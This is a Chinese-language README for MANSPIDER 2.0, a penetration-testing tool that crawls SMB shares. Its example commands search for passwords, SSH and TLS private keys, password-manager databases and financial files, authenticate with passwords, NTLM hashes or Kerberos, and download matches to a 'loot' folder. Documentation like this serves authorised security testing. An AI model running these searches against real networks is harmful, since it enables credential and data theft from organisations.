MANSPIDER 2.0 来了! 带来了重大改进:
--modified-after 和 --modified-before 按修改日期搜索文件
PDFDOCXXLSXPPTX
# 直接运行,无需安装
uvx --from git+https://github.com/blacklanternsecurity/MANSPIDER manspider --help
# 全局安装
uv tool install git+https://github.com/blacklanternsecurity/MANSPIDER
# 运行
manspider --help
pipx install git+https://github.com/blacklanternsecurity/MANSPIDER
Manspider 使用 Kreuzberg 从各种文件格式中提取文本。某些格式需要额外的系统依赖项:
# 用于从图片(PNG、JPEG 等)中通过 OCR 提取文本
sudo apt install tesseract-ocr
# 用于旧版 Microsoft Office 格式支持(.doc、.xls)
# Kreuzberg 使用 LibreOffice 进行转换
sudo apt install libreoffice
没有这些依赖项: Manspider 仍然可以处理 PDF、DOCX、XLSX、PPTX 和文本文件,但会跳过图片 OCR 和旧版 Office 格式。
docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider --help
注意,还有一个辅助脚本 manspider.sh,它会自动挂载卷以便访问 manspider 的 loot 和 logs 目录,使其运行起来更方便:
./manspider.sh --help
注意:匹配的文件会自动下载到 $HOME/.manspider/loot!(使用 -n 可禁用)
$ manspider 192.168.0.0/24 -f passw user admin account network login logon cred -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -f passw -e xlsx csv -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -c passw -e xlsx csv docx pdf -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk vhd vdi dit -d evilcorp -u bob -p Passw0rd
此示例在听起来像财务的目录中搜索文件名包含 5 个或更多连续数字的文件(例如 000202006.EFT)
$ manspider share.evilcorp.local --dirnames bank financ payable payment reconcil remit voucher vendor eft swift -f '[0-9]{5,}' -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -e ppk rsa pem ssh rsa -o -f id_rsa id_dsa id_ed25519 -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -e '' -c 'BEGIN .{1,10} PRIVATE KEY' -d evilcorp -u bob -p Passw0rd
# .kdbx - KeePass 密码数据库(KeePass、KeePassXC)
# .kdb - KeePass 经典数据库(KeePass 1.x)
# .1pif - 1Password 交换格式(1Password)
# .agilekeychain - Agile 密钥链格式(1Password,已弃用)
# .opvault - OPVault 格式(1Password)
# .lpd - LastPass 数据文件(LastPass)
# .dashlane - Dashlane 数据文件(Dashlane)
# .psafe3 - Password Safe 数据库(Password Safe)
# .enpass - Enpass 密码管理器数据文件(Enpass)
# .bwdb - Bitwarden 数据库(Bitwarden)
# .msecure - mSecure 密码管理器数据文件(mSecure)
# .stickypass - Sticky Password 数据文件(Sticky Password)
# .pwm - Password Memory 数据文件(Password Memory)
# .rdb - RoboForm 数据文件(RoboForm)
# .safe - SafeInCloud 密码管理器数据文件(SafeInCloud)
# .zps - Zoho Vault 加密数据文件(Zoho Vault)
# .pmvault - SplashID Safe 数据文件(SplashID Safe)
# .mywallet - MyWallet 密码管理器数据文件(MyWallet)
# .jpass - JPass 密码管理器数据文件(JPass)
# .pwmdb - Universal Password Manager 数据库(Universal Password Manager)
$ manspider share.evilcorp.local -e kdbx kdb 1pif agilekeychain opvault lpd dashlane psafe3 enpass bwdb msecure stickypass pwm rdb safe zps pmvault mywallet jpass pwmdb -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -e pfx p12 pkcs12 pem key crt cer csr jks keystore key keys der -d evilcorp -u bob -p Passw0rd
$ manspider share.evilcorp.local -e docx xlsx pdf --modified-after 2026-01-01 -d evilcorp -u bob -p Passw0rd
你可以同时运行多个 manspider 实例。这在某个实例已经在运行,而你想搜索已下载的内容时很有用(类似于 grep -R)。要这样做,请将关键词 loot 指定为目标,它将搜索 $HOME/.manspider/loot 中的已下载文件。
合理的默认值有助于避免不必要的场景,比如卡在单个目标上。所有默认值都可以覆盖:
-m 覆盖)-s 覆盖)-t 覆盖)C$、IPC$、ADMIN$、PRINT$(使用 --exclude-sharenames 覆盖)Manspider 接受以下任意组合作为目标:
例如,你可以指定其中任意或全部:
192.168.1.250share.evilcorp.local192.168.1.0/24smb_hosts.txtloot(搜索已下载的文件)/mnt/share(递归搜索目录)
usage: manspider [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-l LOOT_DIR] [-m MAXDEPTH] [-H HASH] [-k] [-aesKey HEX] [-dc-ip IP] [-t THREADS] [-f REGEX [REGEX ...]] [-e EXT [EXT ...]]
[--exclude-extensions EXT [EXT ...]] [-c REGEX [REGEX ...]] [--sharenames SHARE [SHARE ...]] [--exclude-sharenames [SHARE ...]] [--dirnames DIR [DIR ...]]
[--exclude-dirnames DIR [DIR ...]] [-q] [-n] [-mfail INT] [-o] [-s SIZE] [-v]
targets [targets ...]
扫描SMB共享中的敏感数据。匹配的文件和日志存储在 $HOME/.manspider。所有过滤器不区分大小写。
位置参数:
targets 要爬取的IP、主机名、CIDR范围或包含目标的文件(注意:也支持本地搜索,指定目录名或关键词"loot"来搜索已下载的文件)
选项:
-h, --help 显示此帮助信息并退出
-u, --username USERNAME
用于认证的用户名
-p, --password PASSWORD
用于认证的密码
-d, --domain DOMAIN 用于认证的域
-l, --loot-dir LOOT_DIR
战利品目录(默认为 ~/.manspider/)
-m, --maxdepth MAXDEPTH
最大爬取深度(默认:10)
-H, --hash HASH 用于认证的NTLM哈希
-k, --kerberos 使用Kerberos认证。根据目标参数从ccache文件(KRB5CCNAME)中获取凭据
-aesKey, --aes-key HEX
用于Kerberos认证的AES密钥(128或256位)
-dc-ip, --dc-ip IP 域控制器的IP地址。如果省略,将使用目标参数中指定的域部分(FQDN)
-t, --threads THREADS
并发线程数(默认:5)
-f, --filenames REGEX [REGEX ...]
使用正则表达式筛选文件名(空格分隔)
-e, --extensions EXT [EXT ...]
仅显示具有这些扩展名的文件名(空格分隔,例如 `docx xlsx` 仅限Word和Excel文档)
--exclude-extensions EXT [EXT ...]
忽略具有这些扩展名的文件
-c, --content REGEX [REGEX ...]
使用正则表达式搜索文件内容(支持多个)
--sharenames SHARE [SHARE ...]
仅搜索具有这些名称的共享(支持多个)
--exclude-sharenames [SHARE ...]
不搜索具有这些名称的共享(支持多个)
--dirnames DIR [DIR ...]
仅搜索包含这些字符串的目录(支持多个)
--exclude-dirnames DIR [DIR ...]
不搜索包含这些字符串的目录(支持多个)
-q, --quiet 不显示匹配的文件内容
-n, --no-download 不下载匹配的文件
-mfail, --max-failed-logons INT
限制失败的登录次数
-o, --or-logic 使用OR逻辑而不是AND(如果文件名或扩展名或内容匹配,则下载文件)
-s, --max-filesize SIZE
不检索超过此大小的文件,例如"500K"或".5M"(默认:10M)
-v, --verbose 显示调试信息
--modified-after DATE
仅显示在此日期之后修改的文件(格式:YYYY-MM-DD)
--modified-before DATE
仅显示在此日期之前修改的文件(格式:YYYY-MM-DD)
注意: 运行完整的测试套件需要上面列出的可选系统依赖项(tesseract-ocr 和 libreoffice)。
# 运行测试
uv run pytest tests/
本项目使用 ruff 进行代码检查和格式化。
# 运行 linter
uv run ruff check .
# 运行 linter 并自动修复
uv run ruff check --fix .
# 运行格式化程序
uv run ruff format .